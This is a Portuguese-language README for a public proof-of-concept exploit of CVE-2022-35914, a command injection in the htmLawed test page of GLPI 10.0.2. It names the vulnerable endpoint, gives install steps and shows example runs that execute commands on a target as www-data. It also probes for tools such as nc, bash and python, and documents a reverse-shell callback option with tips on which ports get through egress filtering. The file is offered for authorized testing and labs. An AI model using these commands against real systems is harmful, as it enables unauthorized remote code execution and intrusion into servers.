
Exploit de PoC para CVE-2022-35914 — injeção de comando no htmLawed do GLPI v.10.0.2, execução de comandos e suporte a reverse shell.
PoC para CVE-2022-35914, uma vulnerabilidade de injeção de comandos envolvendo o componente de teste htmLawed em instalações vulneráveis do GLPI.
A ferramenta fornece execução de comandos através do endpoint vulnerável e inclui funcionalidade opcional de callback para ambientes de laboratório autorizados.
Aviso: Este projeto destina-se apenas a testes de segurança autorizados, CTFs, laboratórios OffSec/PG e fins educacionais. Não o utilize contra sistemas sem autorização explícita.
| Campo | Detalhes |
|---|---|
| CVE | CVE-2022-35914 |
| Software | GLPI v.10.0.2 |
| Componente | htmLawed |
| Endpoint vulnerável | /vendor/htmlawed/htmlawed/htmLawedTest.php |
O componente vulnerável pode permitir a execução de comandos através de parâmetros manipulados em instalações afetadas.
Python 3 e as dependências necessárias.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
Clone o repositório:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
Torne o script executável:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
Exemplo de saída:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
A opção -c especifica o comando a executar.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| Opção | Descrição | Predefinição |
|---|---|---|
-u, --url | URL ou endereço IP do alvo | Obrigatório |
-c, --cmd | Comando a executar | id |
--check | Verificar o alvo sem executar um comando | Desativado |
--user-agent | User-Agent HTTP personalizado | Predefinido |
-p, --rport | Porta do serviço HTTP do alvo | 80 |
-l, --lhost | Endereço IP de callback/listener | — |
-lp, --lport | Porta de callback/listener | — |
A opção -p / --rport especifica a porta onde o serviço web GLPI vulnerável está em execução.
Predefinição:
80
Exemplo:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
Utilize --check para verificar se a página de teste do htmLawed está disponível sem executar um comando:
python3 glpi.py -u TARGET_IP --check
Um User-Agent HTTP personalizado pode ser fornecido com:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
O script suporta parâmetros opcionais de callback:
-l IP de callback/listener
-lp Porta de callback/listener
Exemplo:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Neste exemplo:
Target: TARGET_IP:80
Callback: LHOST:80
As duas portas têm propósitos diferentes:
-p = Porta HTTP do GLPI alvo
-lp = Porta de callback/listener
Durante os testes num ambiente de laboratório OffSec, o callback funcionou com sucesso através da porta TCP 80.
Outras portas de callback, como 4444, podem expirar dependendo da rede do laboratório e da filtragem de saída.
Para o ambiente testado:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
O listener foi configurado na interface VPN do Kali utilizando a porta TCP 80.
Importante: A utilização da porta 80 para o callback é uma observação específica do ambiente. Não é um requisito do CVE-2022-35914.
Primeiro, verifique a execução de comandos:
python3 glpi.py -u TARGET_IP -c 'id'
Verifique se os utilitários necessários existem:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
Se a execução de comandos funcionar mas o callback expirar, verifique o encaminhamento da VPN e a porta de callback.
Se a análise da saída dos comandos falhar, a resposta HTTP completa é guardada em:
/tmp/glpi.html
Inspecione-a com:
less /tmp/glpi.html
ou:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
Para o ambiente de laboratório OffSec testado:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Este projeto é fornecido apenas para fins educacionais e de testes de segurança autorizados.
O autor não é responsável por qualquer uso indevido, dano, acesso não autorizado ou atividade ilegal envolvendo este software.
Obtenha sempre autorização explícita antes de testar um sistema.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 por cyb3rk0ala